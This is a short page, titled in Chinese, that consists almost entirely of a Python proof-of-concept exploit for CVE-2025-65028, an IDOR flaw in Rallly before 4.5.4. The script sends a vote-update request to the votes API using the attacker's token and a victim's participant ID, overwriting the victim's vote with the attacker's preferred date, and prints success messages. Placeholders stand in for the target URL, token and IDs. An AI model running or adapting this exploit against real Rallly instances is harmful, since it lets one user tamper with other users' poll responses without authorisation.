CVE-2025-65028 Rallly IDOR漏洞允许未授权修改投票

import requests import json # CVE-2025-65028 PoC - Rallly IDOR Vulnerability # Target: Rallly < 4.5.4 # Vulnerability: IDOR in vote update endpoint TARGET_URL = "https://vulnerable-rallly-instance.com" ATTACKER_TOKEN = "attacker_auth_token_here" def exploit_idor(): # Step 1: Get the poll ID and list participants poll_id = "target_poll_id" # Step 2: Identify target participant ID (victim) victim_participant_id = "victim_participant_id" # Step 3: Craft malicious vote update request # The vulnerable endpoint does not verify participant ownership update_url = f"{TARGET_URL}/api/votes/{poll_id}" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Modify victim's vote to favor attacker payload = { "participantId": victim_participant_id, "options": ["2025-12-25"] # Attacker's preferred date } response = requests.post(update_url, headers=headers, json=payload) if response.status_code == 200: print("[+] Vote successfully modified!") print(f"[+] Victim's vote has been changed") else: print(f"[-] Exploitation failed: {response.status_code}") if __name__ == "__main__": exploit_idor()